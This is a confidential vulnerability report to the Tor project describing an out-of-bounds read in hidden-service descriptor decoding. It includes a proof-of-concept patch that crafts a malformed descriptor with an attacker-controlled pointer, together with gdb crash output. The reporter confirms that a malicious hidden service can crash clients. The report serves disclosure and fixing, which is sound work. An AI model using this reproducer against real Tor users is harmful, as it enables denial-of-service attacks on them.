TROVE-2021-006: Out-of-bounds read in desc_decode_encryted_v3
Reported by Sergei Glazunov at Google. This issue is confidential.
Greetings,
There's an out-of-bounds read issue in desc_decode_encrypted_v3.
Consider the definition of the R3_INTRO_AUTH_REQUIRED token:
/** Descriptor ruleset for the encrypted section. */
static token_rule_t hs_desc_encrypted_v3_token_table[] = {
T1_START(str_create2_formats, R3_CREATE2_FORMATS, CONCAT_ARGS, NO_OBJ),
T01(str_intro_auth_required, R3_INTRO_AUTH_REQUIRED, ARGS, NO_OBJ),
T01(str_single_onion, R3_SINGLE_ONION_SERVICE, ARGS, NO_OBJ),
END_OF_TABLE
};
The macro ARGS indicates that the token can have any number of arguments (including zero). However, the function desc_decode_encrypted_v3 expects the token to always have an argument at index 0:
/** Decode the version 3 encrypted section of the given descriptor desc. The
* desc_encrypted_out will be populated with the decoded data. */
static hs_desc_decode_status_t
desc_decode_encrypted_v3(const hs_descriptor_t *desc,
const curve25519_secret_key_t *client_auth_sk,
hs_desc_encrypted_data_t *desc_encrypted_out)
{
[...]
/* Authentication type. It's optional but only once. */
tok = find_opt_by_keyword(tokens, R3_INTRO_AUTH_REQUIRED);
if (tok) {
if (!decode_auth_type(desc_encrypted_out, tok->args[0])) {
log_warn(LD_REND, "Service descriptor authentication type has "
"invalid entry(ies).");
goto err;
}
}
As a result, the function may access an out-of-bounds char pointer, which is then passed to decode_auth_type.
The easiest way to reproduce the issue is to apply the following patch and run one of the hs_descriptor unit tests. I’ve also confirmed that a malicious hidden service can crash clients that are trying to connect to it on a testnet.
diff --git a/src/feature/hs/hs_descriptor.c b/src/feature/hs/hs_descriptor.c
index 0656224e48..0e241a1d1a 100644
--- a/src/feature/hs/hs_descriptor.c
+++ b/src/feature/hs/hs_descriptor.c
@@ -754,14 +754,7 @@ get_inner_encrypted_layer_plaintext(const
hs_descriptor_t *desc)
smartlist_add_asprintf(lines, "%s %d\n", str_create2_formats,
ONION_HANDSHAKE_TYPE_NTOR);
- if (desc->encrypted_data.intro_auth_types &&
- smartlist_len(desc->encrypted_data.intro_auth_types)) {
- /* Put the authentication-required line. */
- char *buf = smartlist_join_strings(desc->encrypted_data.intro_auth_types,
- " ", 0, NULL);
- smartlist_add_asprintf(lines, "%s %s\n", str_intro_auth_required, buf);
- tor_free(buf);
- }
+ smartlist_add_asprintf(lines, "%s\n", str_intro_auth_required);
if (desc->encrypted_data.single_onion_service) {
smartlist_add_asprintf(lines, "%s\n", str_single_onion);
@@ -827,6 +820,15 @@ get_outer_encrypted_layer_plaintext(const
hs_descriptor_t *desc,
smartlist_add(lines, auth_client_lines);
}
+
+ char tmp[4001];
+ memset(tmp, 'B', 4000);
+ tmp[4000] = 0;
+
+ for (int i = 0; i < 5; ++i)
+ smartlist_add_asprintf(lines,
+ "opt %s\n", tmp);
+
/* create encrypted section */
{
smartlist_add_asprintf(lines,
@@ -2673,18 +2675,6 @@ hs_desc_encode_descriptor,(const hs_descriptor_t *desc,
goto err;
}
- /* Try to decode what we just encoded. Symmetry is nice!, but it is
- * symmetric only if the client auth is disabled. That is, the descriptor
- * cookie will be NULL. */
- if (!descriptor_cookie) {
- ret = hs_desc_decode_descriptor(*encoded_out, &desc->subcredential,
- NULL, NULL);
- if (BUG(ret != HS_DESC_DECODE_OK)) {
- ret = -1;
- goto err;
- }
- }
-
return 0;
err:
gdb output:
gdb --args ./src/test/test --no-fork hs_descriptor/decode_descriptor
[...]
Program received signal SIGSEGV, Segmentation fault.
__strchr_sse2 () at ../sysdeps/x86_64/multiarch/../strchr.S:32
32 ../sysdeps/x86_64/multiarch/../strchr.S: No such file or directory.
(gdb) x/i $pc
=> 0x7ffff77b8617 <__strchr_sse2+39>: movdqu xmm0,XMMWORD PTR [rdi]
(gdb) info reg
rax 0x242 578
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x20 32
rdi 0x4242424242424242 4774451407313060418
rbp 0x7fffffffd9d0 0x7fffffffd9d0
rsp 0x7fffffffd958 0x7fffffffd958
r8 0x0 0
r9 0x0 0
r10 0x7ffff78a2ac0 140737346415296
r11 0x7ffff78a33c0 140737346417600
r12 0x0 0
r13 0x2919ce 2693582
r14 0x3ba8e0 3909856
r15 0x4242424242424242 4774451407313060418
rip 0x7ffff77b8617 0x7ffff77b8617 <__strchr_sse2+39>
[...]
(gdb) bt
#0 __strchr_sse2 () at ../sysdeps/x86_64/multiarch/../strchr.S:32
#1 0x0000000000bc08f7 in smartlist_split_string (sl=0x1789e60,
str=<optimized out>, sep=<optimized out>, flags=<optimized out>,
max=<optimized out>)
at src/lib/smartlist_core/smartlist_split.c:55
#2 0x00000000009c5dc4 in decode_auth_type (desc=0x17854c0,
list=0x4242424242424242 <error: Cannot access memory at address
0x4242424242424242>)
at src/feature/hs/hs_descriptor.c:1216
#3 desc_decode_encrypted_v3 (desc=0x1785420,
client_auth_sk=<optimized out>, desc_encrypted_out=<optimized out>) at
src/feature/hs/hs_descriptor.c:2327
#4 0x00000000009c3c32 in hs_desc_decode_encrypted (desc=0x1785420,
client_auth_sk=<optimized out>, desc_encrypted=<optimized out>)
at src/feature/hs/hs_descriptor.c:2421
#5 0x00000000009c4447 in hs_desc_decode_descriptor (
encoded=0x17a7dd0 "hs-descriptor 3\ndescriptor-lifetime
180\ndescriptor-signing-key-cert\n-----BEGIN ED25519 CERT-----\n"...,
subcredential=<optimized out>, client_auth_sk=<optimized out>,
desc_out=<optimized out>)
at src/feature/hs/hs_descriptor.c:2604
#6 0x000000000070cc44 in test_decode_descriptor (arg=<optimized out>)
at src/test/test_hs_descriptor.c:266
#7 0x00000000008e98c7 in testcase_run_bare_ (testcase=0xbf27b8
<hs_descriptor+120>) at src/ext/tinytest.c:107
#8 testcase_run_one (group=<optimized out>, testcase=0xbf27b8
<hs_descriptor+120>) at src/ext/tinytest.c:272
#9 0x00000000008ea4e2 in tinytest_main (c=<optimized out>,
v=<optimized out>, groups=<optimized out>) at src/ext/tinytest.c:454
#10 0x00000000008e8aa1 in main (c=3, v=<optimized out>) at
src/test/testing_common.c:420
The out-of-bounds pointer value can be controlled, but it’s extremely unlikely the issue can be used for anything other than a very limited info leak.
The issue is reported with no disclosure deadline.
Cheers Sergei